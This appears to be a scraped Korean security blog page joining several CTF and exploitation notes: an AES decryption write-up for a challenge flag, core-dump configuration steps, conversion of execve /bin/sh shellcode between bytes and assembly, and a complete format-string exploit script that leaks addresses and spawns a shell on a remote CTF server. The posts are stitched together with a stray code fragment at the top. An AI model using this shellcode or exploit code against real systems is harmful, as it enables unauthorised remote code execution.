"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[40] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[7] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[3] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[18] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[14] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[3] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[8] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[6] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[9]
# WhoBestGirlgroup

또 a함수를 살펴보면 paramString1을 paramString2로 복호화하는 것을 알 수 있고, onClick 함수를 살펴보면 a(j, i)를 호출한다.

그런데 i는 비어있으므로 j를 어떻게해서든 복호화시켜야 할 것으로 보인다.

처음엔 j를 복호화하면 WhoBestGirlgroup이 되는 줄 알고 AES known plaintext attack을 찾아보는데 이는 불가능하다그래서 좌절하다가 이미 알고 있는 문자열(j, k, "WhoBestGirlgroup")가지고 P와 C를 이리저리 바꿔보다가 다음을 발견했다.

from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
unpad = lambda s : s[0:-ord(s[-1])]

def decode(c, key):
	d = AES.new(key, AES.MODE_CBC, "\x00"*16)
	return d.decrypt(c)

print decode('BHNRDV1XGb49eg2fgKiExfJ4l5UyBNpVEUQtcDxciEc='.decode('base64'), "WhoBestGirlgroup")
# AoAisGirlgroup!!

따라서 AoAisGirlgroup!! 가 flag인줄 알고 시도해봤는데 틀렸다고나와서 멘붕에 빠졌는데, 이 문자열을 key로 또다시 이것저것 하다가 다음을 발견했다.

print decode('2qydvlQqANT8eI7gok5jPQ=='.decode('base64'), "AoAisGirlgroup!!")
# Hdc0nisAwesome

약간의 guessing이 필요한 문제였다.

Flag: Hdc0nisAwesome


1. core dump 파일사이즈 limit 변경

$ ulimit -c unlimited

이러면 core dump 파일사이즈의 제한이 없어진다. 하지만 이는 매번 로그인할 때마다 바뀌므로 영구적인 변경을 위해서는 /etc/security/limits.conf에 다음 line 추가한다.

*               soft    core            unlimited

*               hard    core            unlimited

(제일 왼쪽에는 계정id가 들어감. 모든 계정에 대해서는 *)


2. core_pattern 등록

echo "/tmp/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern

or

sysctl -w kernel.core_pattern=/tmp/core.%e.%p.%h.%t

이런 식으로 어느 위치에 저장할 건 지 + 파일명의 format은 어떻게 할 건지 지정해준다.

포맷은 다음과 같다.

%p: pid

%u: uid

%g: gid

%s: signal number

%t: dump된 시간 (UNIX timestamp)

%h: hostname

%e: 실행파일명


근데 이는 재부팅마다 초기화된다. 구글링해본 결과 /etc/sysctl.d에 10-core-dump.conf를 만든 뒤 다음 line을 추가한다.

kernel.core_pattern=/tmp/core.%e.%p.%h.%t

하지만 Ubuntu 14.04기준 이도 재부팅되면 초기화된다. 영구적으로 만드는 것은 천천히 알아봐야겠다.

1. opcode -> assembly

[1] 파이썬 capstone library 이용하기

http://www.capstone-engine.org/lang_python.html

예) 24Byte shellcode 명령어


from capstone import *

CODE = b"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

test.py에 저장 후 실행


[2] C파일에 넣어서 컴파일

char s[]="\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main(int argc, char **argv) {
	return 0;
}

컴파일 후 gdb로 확인



2. assembly -> opcode

[1] nasm 사용하기

BITS 32

xor edx, edx
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
lea eax, [edx+0xb]
int 0x80

를 sh.S에 저장 후

nasm sh.S

[2] C의 inline assembly

int main() {
	__asm__ __volatile__(
	"xor %edx, %edx\n\t"
	"push %edx\n\t"
	"push $0x68732f6e\n\t"
	"push $0x69622f2f\n\t"
	"mov %esp, %ebx\n\t"
	"push %edx\n\t"
	"push %ebx\n\t"
	"mov %esp, %ecx\n\t"
	"lea 0xb(%edx), %eax\n\t"
	"int $0x80\n\t"
	);
}

test.c에 넣고 gcc로 컴파일


32-bit Format String Bug

Exploit: Fake EBP

difference of library made me go nuts


from socket import *
import re
from struct import pack

p = lambda x: pack("<I", x)

def recv_until(s, data):
    p = s.recv(1)
    while data not in p:
        p += s.recv(1)
    return p

def shell(s):
    from telnetlib import Telnet
    t = Telnet()
    t.sock = s 
    t.interact()

s = socket(2,1)
s.connect(('54.165.223.128', 2555))

# leak EBP
recv_until(s, '>>> ')
s.send('1\n')

s.send('BBBB1\n')
s.send('0101234\n')
s.send('512\n')
s.send('%6$x\n')

recv_until(s, '>>> ')
s.send('4\n')
EBP = recv_until(s, '>>> ')
EBP = re.findall("Description: (.+)", EBP)[0]
EBP = int(EBP, 16) 
print 'EBP =',hex(EBP)

# leak library address
s.send('1\n')
s.send('BBBB2\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('4\n')
data = recv_until(s, '>>> ')
t = re.findall("Description: (.+)", data)[1]
t = int(t, 16)
print 'SYSTEM_LIB', hex(t)

s.send('1\n')
s.send('BBBB3\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB4\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB5\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB6\n')
s.send('0101234\n')
s.send('512\n')
s.send('%45860c%6$hn\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB7\n')
s.send('0101234\n')
s.send('512\n')
payload = '%'+`((EBP+2)&0xffff)`.rstrip('L')+'c%33$hn'
s.send(payload+'\n')
print payload

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB8\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2052c%69$hn\n')

system_libc = t - 53777 + 2 # this made me crazy... server libc != local libc 
binsh = system_libc + 1181844

recv_until(s, '>>> ')
s.send('1\n')
payload = p(system_libc)
payload += p(binsh)*3
s.send(payload + '\n')

s.send('0101234\n')
s.send('512\n')
s.send('ASDF\n') # 0x804b324


recv_until(s, '>>> ')
s.send('4\n')
recv_until(s, '>>> ')
print 'Done'
shell(s)


+ Recent posts